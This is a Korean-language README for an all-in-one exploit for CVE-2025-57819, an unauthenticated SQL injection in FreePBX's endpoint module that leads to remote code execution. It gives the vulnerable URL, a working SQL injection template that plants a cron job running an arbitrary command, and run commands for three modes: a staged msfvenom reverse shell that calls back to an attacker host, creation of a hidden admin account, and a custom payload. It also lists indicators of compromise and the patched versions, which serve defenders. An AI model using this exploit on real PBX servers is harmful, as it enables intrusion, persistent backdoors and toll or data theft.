CVE-2025-57819 — FreePBX 사전 인증 SQL 삽입을 통한 원격 코드 실행

CVE-2025-57819를 위한 올인원 익스플로잇입니다. FreePBX의 엔드포인트 모듈에 있는 인증되지 않은 SQL 삽입 취약점으로, 크론 작업 삽입을 통해 원격 코드 실행으로 이어집니다.

CVSS: 9.8 (심각) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA KEV: 2025년 8월 29일 추가
영향: Sangoma FreePBX 15, 16, 17, 엔드포인트 모듈 < 15.0.66 / < 16.0.89 / < 17.0.3
패치 버전: endpoint 15.0.66, 16.0.89, 17.0.3

취약점 요약

FreePBX는 인증 없이 admin/ajax.php?module=FreePBX\modules\endpoint\ajax 엔드포인트를 노출합니다 (CWE-288). brand 매개변수가 살균 처리 없이 SQL 쿼리에 직접 전달되어 (CWE-89), 공격자가 asterisk 데이터베이스에 임의의 SQL 문을 주입할 수 있습니다.

공격 체인

[Unauthenticated HTTP request]
        │
        ▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
        │
        ▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
        │
        ▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
        │
        ▼
Remote Code Execution

익스플로잇 기능

이 익스플로잇은 세 가지 모드를 지원합니다:

1. 스테이징된 역방향 셸 (기본값)

msfvenom을 통해 linux/x64/shell_reverse_tcp 바이너리 생성
바이너리를 제공하기 위한 HTTP 서버 시작
셸을 위한 TCP 리스너 시작
SQLi를 통해 바이너리를 다운로드 및 실행하는 크론 작업 주입
크론이 실행되면 대화형 셸 획득
종료 시 주입된 크론 작업 정리

python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>

예시:

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452

역방향 셸에는 포트 4452를, HTTP 스테이지 서버에는 포트 4453을 사용합니다.

2. 관리자 사용자 생성 (`--create-user`)

SQLi를 통해 새로운 FreePBX 관리자 계정을 생성합니다. 역방향 셸, 리치백, 바이너리가 필요하지 않습니다.

python3 cve_2025_57819_aio.py http://freepbx.internal --create-user

3. 사용자 정의 페이로드 (`--payload <path>`)

msfvenom으로 생성하는 대신 자신의 ELF 바이너리를 사용합니다.

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
    --payload /path/to/custom_shell.elf

요구 사항

Python 3.6+
requests 라이브러리 (pip install requests)
스테이지 모드: Metasploit (msfvenom) 또는 --payload를 이용한 사용자 정의 페이로드
--create-user 모드: Python + requests 외에는 필요하지 않음

작동 방식

SQL 삽입 벡터

취약한 엔드포인트는 다음과 같습니다:

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>

brand 매개변수가 살균 처리 없이 SQL INSERT에 연결됩니다. 익스플로잇은 다음과 같이 주입을 구성합니다:

';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --

끝의 --는 원래 쿼리의 나머지 부분을 주석 처리합니다.

크론 실행

FreePBX는 Asterisk cron 하위 시스템을 사용합니다. 크론 작업은 매 분마다 확인됩니다. 삽입된 작업의 일정(* * * * *)이 일치하면 명령이 asterisk 시스템 사용자로 실행됩니다.

정리

세션이 종료되거나 타임아웃되면, 익스플로잇은 DELETE SQLi를 전송하여 cron_jobs에서 주입된 크론 작업을 제거합니다.

침해 지표

asterisk.cron_jobs에 무작위 모듈/작업 이름으로 예상치 못한 항목이 나타남
FreePBX 서버에서 높은 포트의 외부 IP로 향하는 아웃바운드 HTTP 요청
asterisk 사용자의 역방향 셸 연결
ampusers에 무작위 새 관리자 계정이 생성됨 (--create-user 모드인 경우)

완화 조치

엔드포인트 모듈을 패치된 버전으로 업데이트하세요:

15: >= 15.0.66
16: >= 16.0.89
17: >= 17.0.3

참고 자료

면책 조항

이 소프트웨어는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않거나 테스트에 대한 명시적 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 작성자는 어떠한 오용에 대해서도 책임지지 않습니다.

CVE-2025-57819-exploit

인기